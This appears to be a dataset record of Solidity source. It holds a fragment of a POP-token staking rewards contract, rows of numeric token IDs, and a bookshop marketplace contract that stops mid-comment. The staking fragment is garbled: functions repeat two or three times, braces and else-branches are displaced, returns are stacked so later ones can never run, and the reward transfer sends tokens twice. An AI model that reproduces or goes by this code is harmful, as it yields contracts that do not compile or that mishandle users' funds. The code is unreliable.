event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event RewardPaid(address indexed user, uint256 indexed pid, uint256 amount);
uint256 public bonusEndBlock;
uint256 public popPerBlock;
uint256 public constant BONUS_MULTIPLIER = 10;
PoolInfo[] public poolInfo;
mapping(uint256 => mapping(address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public startBlock;
uint256 private constant UINT256_MAX = ~uint256(0);
function initialize(
PopToken _pop,
uint256 _popPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock,
uint256 _popAllocPoint,
uint256 _popVaultStarts
) public initializer {
OwnableUpgradeSafe.__Ownable_init();
pop = _pop;
popPerBlock = _popPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
totalAllocPoint = _popAllocPoint;
}
popVault = PoolInfo({allocPoint: _popAllocPoint, lastRewardBlock: _popVaultStarts, accPopPerShare: 0, lpSupply: 0});
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function getPoolSupply(address pool) public view override returns (uint256) {
return poolInfo[pidByAddress[pool]].lpSupply;
}
function getUserAmount(address pool, address user) public view override returns (uint256) {
return userInfo[pidByAddress[pool]][user].amount;
}
function setPopMarketplace(address _newMarketplace) public onlyOwner {
require(_newMarketplace != address(0), "Address can not be 0");
popMarketplace = _newMarketplace;
}
function add(uint256 _allocPoint, address _newMlp) public override {
require(msg.sender == popMarketplace, "only the marketplace can add a pool");
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
pidByAddress[_newMlp] = poolInfo.length - 1;
authorizedMlp[_newMlp] = true;
}
poolInfo.push(PoolInfo({allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accPopPerShare: 0, lpSupply: 0}));
function set(
uint256 _pid,
uint256 _allocPoint,
bool _withUpdate
) public onlyOwner {
PoolInfo storage pool = poolInfo[_pid];
_set(pool, _allocPoint, _withUpdate);
}
function _set(
PoolInfo storage pool,
uint256 _allocPoint,
bool _withUpdate
) private {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
pool.allocPoint = _allocPoint;
}
function _set(
PoolInfo storage pool,
uint256 _allocPoint,
bool _withUpdate
) private {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add(_allocPoint);
pool.allocPoint = _allocPoint;
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
return _to.sub(_from);
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(_to.sub(bonusEndBlock));
}
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
return _to.sub(_from);
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(_to.sub(bonusEndBlock));
}
}
} else if (_from >= bonusEndBlock) {
} else {
function pendingPop(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
return _pendingPop(pool, user);
}
function _pendingPop(PoolInfo storage pool, UserInfo storage user) private view returns (uint256) {
uint256 accPopPerShare = pool.accPopPerShare;
uint256 lpSupply = pool.lpSupply;
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 popReward = multiplier.mul(popPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accPopPerShare = accPopPerShare.add(popReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accPopPerShare).div(1e12).sub(user.rewardDebt);
}
function _pendingPop(PoolInfo storage pool, UserInfo storage user) private view returns (uint256) {
uint256 accPopPerShare = pool.accPopPerShare;
uint256 lpSupply = pool.lpSupply;
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 popReward = multiplier.mul(popPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accPopPerShare = accPopPerShare.add(popReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accPopPerShare).div(1e12).sub(user.rewardDebt);
}
function vaultPendingPop(address _account) external view returns (uint256) {
UserInfo storage user = popStaker[_account];
return _pendingPop(popVault, user);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
updatePopVault();
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
updatePopVault();
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
return _updatePool(pool);
}
function _updatePool(PoolInfo storage pool) private {
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpSupply;
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 popReward = multiplier.mul(popPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pop.mintTo(address(this), popReward);
pool.accPopPerShare = pool.accPopPerShare.add(popReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function _updatePool(PoolInfo storage pool) private {
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpSupply;
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 popReward = multiplier.mul(popPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pop.mintTo(address(this), popReward);
pool.accPopPerShare = pool.accPopPerShare.add(popReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function _updatePool(PoolInfo storage pool) private {
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpSupply;
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 popReward = multiplier.mul(popPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
pop.mintTo(address(this), popReward);
pool.accPopPerShare = pool.accPopPerShare.add(popReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function notifyDeposit(address _account, uint256 _amount) public override {
require(authorizedMlp[msg.sender], "unauthorized sender");
uint256 _pid = pidByAddress[msg.sender];
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_account];
updatePool(_pid);
_notifyDeposit(_account, pool, user, _amount);
emit Deposit(_account, _pid, _amount);
}
function _notifyDeposit(
address _account,
PoolInfo storage pool,
UserInfo storage user,
uint256 _amount
) private {
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
safePopTransfer(_account, pending);
}
pool.lpSupply = pool.lpSupply.add(_amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
}
function _notifyDeposit(
address _account,
PoolInfo storage pool,
UserInfo storage user,
uint256 _amount
) private {
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
safePopTransfer(_account, pending);
}
pool.lpSupply = pool.lpSupply.add(_amount);
user.amount = user.amount.add(_amount);
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
}
function notifyWithdraw(address _account, uint256 _amount) public override {
require(authorizedMlp[msg.sender], "unauthorized sender");
uint256 _pid = pidByAddress[msg.sender];
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_account];
updatePool(_pid);
_notifyWithdraw(_account, pool, user, _amount, _pid);
emit Withdraw(_account, _pid, _amount);
}
function _notifyWithdraw(
address _account,
PoolInfo storage pool,
UserInfo storage user,
uint256 _amount,
uint256 _pid
) private {
require(user.amount >= _amount, "withdraw: not good");
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safePopTransfer(_account, pending);
}
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
pool.lpSupply = pool.lpSupply.sub(_amount);
emit RewardPaid(_account, _pid, pending);
}
function _notifyWithdraw(
address _account,
PoolInfo storage pool,
UserInfo storage user,
uint256 _amount,
uint256 _pid
) private {
require(user.amount >= _amount, "withdraw: not good");
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
safePopTransfer(_account, pending);
}
user.amount = user.amount.sub(_amount);
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
pool.lpSupply = pool.lpSupply.sub(_amount);
emit RewardPaid(_account, _pid, pending);
}
function safePopTransfer(address _to, uint256 _amount) internal {
uint256 popBal = pop.balanceOf(address(this)).sub(popVault.lpSupply);
if (_amount > popBal) {
pop.transfer(_to, popBal);
pop.transfer(_to, _amount);
}
}
function safePopTransfer(address _to, uint256 _amount) internal {
uint256 popBal = pop.balanceOf(address(this)).sub(popVault.lpSupply);
if (_amount > popBal) {
pop.transfer(_to, popBal);
pop.transfer(_to, _amount);
}
}
} else {
function stakePop(uint256 _amount) public {
UserInfo storage user = popStaker[msg.sender];
updatePopVault();
_notifyDeposit(msg.sender, popVault, user, _amount);
require(pop.transferFrom(msg.sender, address(this), _amount), "transfer failed");
emit PopDeposit(msg.sender, _amount);
}
function withdrawPop(uint256 _amount) public {
UserInfo storage user = popStaker[msg.sender];
updatePopVault();
_notifyWithdraw(msg.sender, popVault, user, _amount, UINT256_MAX);
require(pop.transfer(msg.sender, _amount), "transfer failed");
emit PopWithdraw(msg.sender, _amount);
}
function updatePopVault() public {
_updatePool(popVault);
}
function setPopVault(uint256 _allocPoint) public onlyOwner {
_set(popVault, _allocPoint, false);
}
function setPopVaultStartBlock(uint256 _startBlock) external onlyOwner {
popVault.lastRewardBlock = _startBlock;
}
function claimRewards(uint256 _poolId) external {
updatePool(_poolId);
_harvest(_poolId);
}
function claimPopRewards() external {
updatePopVault();
_harvestPopRewards(popVault);
}
function _harvestPopRewards(PoolInfo storage pool) internal {
UserInfo storage user = popStaker[msg.sender];
if (user.amount == 0) return;
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
safePopTransfer(msg.sender, pending);
emit RewardPaid(msg.sender, UINT256_MAX, pending);
return;
}
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
}
function _harvestPopRewards(PoolInfo storage pool) internal {
UserInfo storage user = popStaker[msg.sender];
if (user.amount == 0) return;
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
safePopTransfer(msg.sender, pending);
emit RewardPaid(msg.sender, UINT256_MAX, pending);
return;
}
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
}
function _harvest(uint256 _poolId) internal {
PoolInfo storage pool = poolInfo[_poolId];
UserInfo storage user = userInfo[_poolId][msg.sender];
if (user.amount == 0) return;
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
safePopTransfer(msg.sender, pending);
emit RewardPaid(msg.sender, _poolId, pending);
return;
}
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
}
function _harvest(uint256 _poolId) internal {
PoolInfo storage pool = poolInfo[_poolId];
UserInfo storage user = userInfo[_poolId][msg.sender];
if (user.amount == 0) return;
uint256 pending = user.amount.mul(pool.accPopPerShare).div(1e12).sub(user.rewardDebt);
if (pending > 0) {
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
safePopTransfer(msg.sender, pending);
emit RewardPaid(msg.sender, _poolId, pending);
return;
}
user.rewardDebt = user.amount.mul(pool.accPopPerShare).div(1e12);
}
} | 7,853,892 | [
1,
334,
355,
275,
628,
348,
1218,
291,
91,
438,
13453,
39,
580,
74,
30,
2333,
30,
6662,
18,
832,
19,
87,
1218,
291,
91,
438,
19,
87,
1218,
291,
91,
438,
19,
10721,
19,
7525,
19,
16351,
87,
19,
7786,
39,
580,
74,
18,
18281,
3807,
434,
1517,
729,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
10264,
17631,
1060,
353,
10188,
6934,
16,
14223,
6914,
10784,
9890,
16,
15908,
359,
1060,
1318,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
203,
565,
1958,
25003,
288,
203,
565,
289,
203,
203,
565,
1958,
8828,
966,
288,
203,
565,
289,
203,
203,
565,
10264,
1345,
1071,
1843,
31,
203,
565,
2874,
12,
2867,
516,
2254,
5034,
13,
1071,
4231,
858,
1887,
31,
203,
565,
1758,
1071,
1843,
3882,
24577,
31,
203,
565,
2874,
12,
2867,
516,
1426,
13,
1071,
10799,
49,
9953,
31,
203,
203,
565,
8828,
966,
1071,
1843,
12003,
31,
203,
565,
2874,
12,
2867,
516,
25003,
13,
1071,
1843,
510,
6388,
31,
203,
203,
565,
871,
10264,
758,
1724,
12,
2867,
8808,
729,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
10264,
1190,
9446,
12,
2867,
8808,
729,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
871,
4019,
538,
305,
12,
2867,
8808,
729,
16,
2254,
5034,
8808,
4231,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
3423,
9446,
12,
2867,
8808,
729,
16,
2254,
5034,
8808,
4231,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
534,
359,
1060,
16507,
350,
12,
2867,
8808,
729,
16,
2254,
5034,
8808,
4231,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
2254,
5034,
1071,
324,
22889,
1638,
1768,
31,
203,
565,
2254,
5034,
1071,
1843,
2173,
1768,
31,
203,
565,
2254,
5034,
1071,
5381,
605,
673,
3378,
67,
24683,
2053,
654,
273,
1728,
31,
203,
2
]
|
pragma solidity ^0.6.11;
pragma experimental ABIEncoderV2;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @title CentralBBookshop
* @dev Implements blockchain bookstore (for book owners and readers) + IPFS storage
*/
contract CentralBBookshop {
using SafeMath for uint256;
using SafeMath for uint16;
bool private bookshopIsClosed = false;
address payable private admin;
constructor(uint8 minimumCommision) public{
admin = msg.sender;
BOOKSHOP_MINIMUM_COMMISSION = minimumCommision;
}
Book[] private booksArr;
uint8 private BOOKSHOP_MINIMUM_COMMISSION;
// the list of books indexed by book hash -> numerical id
mapping (bytes32 => uint) private booksHashes;
// the list of books indexed by IPFS hash -> book id hash
mapping (bytes32 => bytes32) private IPFSHashes;
// the list of participants indexed by address
mapping (address => User) private users;
// list of all book purchase tokens
// for each book (bookHash), there is a collection of buyers' accessTokens (addr -> accessToken)
mapping (bytes32 => mapping (address => bytes32)) private purchaseTokens;
// list of books bought by users [readers]
mapping (address => bytes32[]) private boughtBooks;
// lists of books owned by users [publishers]
mapping (address => bytes32[]) private ownedBooks;
// STRUCTS
// user can be a book seller and/or buyer
// all users can buy by default but need approval to sell
struct User{
address userAddr;
bool seller; // book owner
bool isSellerApproved; // book owners approval status
uint8 exists; // has been registered
}
struct Book{
bytes32 bookHash; // book id hash
bytes32 IPFShash; // book ipfs reference
uint id; // (Id - 1) is the position of book in dynamic array
address payable owner;
uint256 price; // price in tokens
uint120 purchaseCount; // number of book purchases
// percentage 0-100 commission to store
// 10000th (10% -> 1000) to keep 2dp
uint16 commission;
uint8 exists;
bool isApproved; //approval for sales
}
// EVENTS
event UserCreated(string message, address userAddress, bool isBookOwner);
event UserRemoved(string message);
event SellerApproved(string message);
event BookAdded(string message, bytes32 indexed bookHash, string title, string author);
event PriceUpdated(string message, uint price);
event BookRemoved(string message);
event BookBought(string message, bytes32 indexed bookHash, address indexed buyer, address seller);
// MODIFIERS
/**
* @dev Checks if caller is Bookshop admin
* @param userAddress Address of user
*/
modifier isAdmin(address userAddress){
require(userAddress == admin, "caller is not admin");
_;
}
/**
* @dev Checks if contract circuit breaker hasn't been activated
*/
modifier bookshopIsOpen(){
require(bookshopIsClosed == false, "bookshop is closed by admin");
_;
}
/**
* @dev Checks if user exists in Bookshop record
* @param userAddress Address of user
*/
modifier userExists(address userAddress){
require(users[userAddress].exists == 1, "user does not exist");
_;
}
modifier isUserOrAdmin(address userAddress){
require(users[userAddress].exists == 1 || userAddress == admin, "address does not belong to user nor admin");
_;
}
/**
* @dev Checks if book exists
* @param bookHash Hash reference of book
*/
modifier doesBookExist(bytes32 bookHash){
require(booksHashes[bookHash] != 0, "book does not exist");
uint bookId = booksHashes[bookHash];
require(booksArr[bookId - 1].id != 0, "book does not exist");
_;
}
/**
* @dev Checks if existing book belongs to specified address
* @param userAddress Address of user
* @param bookHash Hash reference of book
*/
modifier isBookOwner(address userAddress, bytes32 bookHash){
uint bookId = booksHashes[bookHash];
require(booksArr[bookId - 1].owner == userAddress, "user does not own this book");
_;
}
/**
* @dev Checks if user with specified address is the owner of the specified book or an admin
* @param userAddress Address of user
* @param bookHash Hash reference of book
*/
modifier isBookOwnerOrAdmin(address userAddress, bytes32 bookHash){
uint bookId = booksHashes[bookHash];
require(booksArr[bookId - 1].owner == userAddress || admin == userAddress, "user does not own this book and not admin");
_;
}
/**
* @dev Checks if user with specified address has purchased the specified book
* and has access token validated.
* @param userAddress Address of user
* @param bookHash Hash reference of book
*/
modifier hasPurchasedBook(bytes32 bookHash, bytes32 IPFShash, address userAddress){
require(purchaseTokens[bookHash][userAddress] != "", "user has not purchased book");
require(generateAccessToken(userAddress, IPFShash) == purchaseTokens[bookHash][userAddress], "access token could not be validated");
_;
}
/**
* @dev Checks if user with specified address is a seller and approved to sell
* @param userAddress Address of user
*/
modifier canSellBook(address userAddress){
require(users[userAddress].seller && users[userAddress].isSellerApproved, "user is not a seller or not yet approved to sell");
_;
}
/**
* @dev Checks if commission specified by seller on a book is valid
* @param commission Commission over book sales (in percentage)
*/
modifier validCommission(uint8 commission){
require(commission >= 0 && commission <= 100, "commission must be between 0-100");
require(commission >= BOOKSHOP_MINIMUM_COMMISSION, "commission set is too low");
_;
}
/**
* @dev Checks if reader sends sufficient funds to purchase book
* @param price The book's selling price
*/
modifier sufficientFunds(uint price){
require(price <= msg.value, "insufficient funds");
_;
}
/**
* @dev Refunds buyer with excess money after payment
* @param price The book's selling price
*/
modifier returnExcess(uint price) {
//refund them after pay for book
_;
//this is a silent failure if "there is no leftover to refund to buyer"
if(msg.value > price){
uint amountToRefund = msg.value - price;
msg.sender.transfer(amountToRefund);
}
}
/**
* @dev Checks if book has not been purchased
* @param bookHash Hash reference of book
*/
modifier notPurchased(bytes32 bookHash){
uint bookId = booksHashes[bookHash];
require(booksArr[bookId - 1].purchaseCount == 0, "book has been purchased");
_;
}
/**
* @dev Checks if book has been approved to be sold
* @param bookHash Hash reference of book
*/
modifier isBookSaleApproved(bytes32 bookHash){
uint bookId = booksHashes[bookHash];
require(booksArr[bookId - 1].isApproved, "book is not approved for sale");
_;
}
/**
* @dev Toggle contract activeness. (Circuit breaker)
*/
function changeBookshopOpenStatus() isAdmin(msg.sender) external {
bookshopIsClosed = !bookshopIsClosed;
}
/**
* @dev Seller adds new book for owner
* @param _IPFShash Book reference on IPFS
* @param _title Book title
* @param _price Book reference on IPFS
* @param _commission Percentage commission 0-100 to be shared with store on sales
*/
function addBook(bytes32 _IPFShash, string memory _title, string memory _author, uint _price, uint8 _commission)
userExists(msg.sender) canSellBook(msg.sender) validCommission(_commission) external {
bytes32 _bookHash = IPFSHashes[_IPFShash];
uint _bookId = booksHashes[_bookHash];
require(_bookId == 0, "book already exists");
bool isApproved;
if(_commission >= BOOKSHOP_MINIMUM_COMMISSION){
isApproved = true;
}
uint commission = uint16(100).mul(_commission);
uint newBookId = booksArr.length + 1;
_bookHash = keccak256(abi.encodePacked(newBookId));
// keep hash mappings
booksHashes[_bookHash] = newBookId;
IPFSHashes[_IPFShash] = _bookHash;
ownedBooks[msg.sender].push(_bookHash);
Book memory book;
book.IPFShash = _IPFShash;
book.bookHash = _bookHash;
book.id = newBookId;
book.owner = msg.sender;
book.price = _price;
book.purchaseCount = 0;
book.commission = uint16(commission);
book.exists = 1;
book.isApproved = isApproved;
booksArr.push(book);
emit BookAdded("book successfully added", _bookHash, _title, _author);
}
/**
* @dev Registers new user
* @param bookOwner Is new user a book owner?
*/
function addUser(bool bookOwner) bookshopIsOpen external {
require(users[msg.sender].exists == 0, "user already registered");
bool isSellerApproved = false;
uint8 exists = 1;
users[msg.sender] = User(msg.sender, bookOwner, isSellerApproved, exists);
emit UserCreated("user added successfully", msg.sender, bookOwner);
}
/**
* @dev Unregisters existing user, and remove all owned books
*/
function removeUser() userExists(msg.sender) external {
// remove all user's books if seller
if(users[msg.sender].seller){
bytes32[] memory hashes = ownedBooks[msg.sender];
for(uint i = 0; i < hashes.length; i++){
removeBook(hashes[i]);
}
delete ownedBooks[msg.sender];
}
delete users[msg.sender];
emit UserRemoved("user removed successfully");
}
/**
* @dev Admin approves seller to be able to list books and receive payments
* @notice can only be done while contract is active via circuit breaker
* @param userAddress address of the seller to be approved
*/
function approveSeller(address userAddress) bookshopIsOpen isAdmin(msg.sender) userExists(userAddress) external {
if(users[userAddress].seller){
User storage user = users[userAddress];
user.isSellerApproved = true;
emit SellerApproved("seller approved successfully");
}
else{
revert("user is not a seller");
}
}
/**
* @dev Reader pays for book access
* @notice can only be done while contract is active via circuit breaker
* @param bookHash Book IPFS reference
*/
function buyBook(bytes32 bookHash) bookshopIsOpen userExists(msg.sender) doesBookExist(bookHash) sufficientFunds(booksArr[booksHashes[bookHash] - 1].price)
returnExcess(booksArr[booksHashes[bookHash] - 1].price) payable external {
//give user token hash(address + bookHash)
uint bookId = booksHashes[bookHash];
Book memory book = booksArr[bookId - 1];
address payable seller = book.owner;
uint commissionFunds = book.price.mul(book.commission).div(10000);
uint paymentToSeller = book.price.sub(commissionFunds);
// Generate access token for user
bytes32 accessToken = generateAccessToken(msg.sender, book.IPFShash);
// store access token
purchaseTokens[bookHash][msg.sender] = accessToken;
// keep book purchase
boughtBooks[msg.sender].push(bookHash);
seller.transfer(paymentToSeller);
admin.transfer(commissionFunds);
emit BookBought("book bought", bookHash, msg.sender, seller);
}
/**
* @dev Book owner changes price of enlisted book
* @param bookHash Book's IPFS storage reference
* @param newPrice New price for book
*/
function updateBookPrice(bytes32 bookHash, uint newPrice) doesBookExist(bookHash) isBookOwner(msg.sender, bookHash) external {
uint bookId = booksHashes[bookHash];
Book storage book = booksArr[bookId - 1];
book.price = newPrice;
emit PriceUpdated("new price updated", book.price);
}
/**
* @dev Book owner or Admin removes book from store
* @param bookHash Book's IPFS storage reference
*/
function removeBook(bytes32 bookHash) doesBookExist(bookHash) notPurchased(bookHash) isBookOwnerOrAdmin(msg.sender, bookHash) public{
Book memory book = booksArr[booksHashes[bookHash] - 1];
delete ownedBooks[book.owner];
delete booksArr[booksHashes[bookHash] - 1];
delete booksHashes[bookHash];
delete IPFSHashes[bookHash];
emit BookRemoved("book successfully removed");
}
/**
* @dev Book seller gets all listed/owned books
* @return _ownedBooks Array of all books owned
*/
function getOwnedBooks() canSellBook(msg.sender) userExists(msg.sender) view external returns(bytes32[] memory _ownedBooks){
_ownedBooks = ownedBooks[msg.sender];
for(uint i=0; i < _ownedBooks.length; i++){
// exclude the leftover hashes in state array map ownedBooks
if(booksHashes[_ownedBooks[i]] == 0){
delete _ownedBooks[i];
}
}
}
/**
* @dev Verify/Authenticate existing user
*/
function getUser() isUserOrAdmin(msg.sender) view external returns(bool _authStatus, bool _isSeller, bool _isAdmin){
_authStatus = true;
_isSeller = users[msg.sender].seller;
if(msg.sender == admin) _isAdmin = true;
}
/**
* @dev User requests for book
* @param _bookHash Book IPFS reference
* @return bookHash Book hash
* @return IPFShash IPFS reference to book
* @return owner Address of Book owner
* @return price Current selling price of book
*/
function requestBook(bytes32 _bookHash) userExists(msg.sender)
hasPurchasedBook(_bookHash, booksArr[booksHashes[_bookHash] - 1].IPFShash, msg.sender) doesBookExist(_bookHash) view external returns(
bytes32 bookHash,
bytes32 IPFShash,
address owner,
uint price){
uint bookId = booksHashes[_bookHash];
price = booksArr[bookId - 1].price;
owner = booksArr[bookId - 1].owner;
IPFShash = booksArr[bookId - 1].IPFShash;
//get author, title and others via front end from event BookAdded()
return (_bookHash, IPFShash, owner, price);
}
/**
* @dev User fetches available books using filters. Client fetches for max of 50 at a time
* @param _minPrice Minimum price filter (not implemented)
* @param _maxPrice Maximum price filter (not implemented)
* @return _booksHashes IPFS Reference Hashes of available books
*/
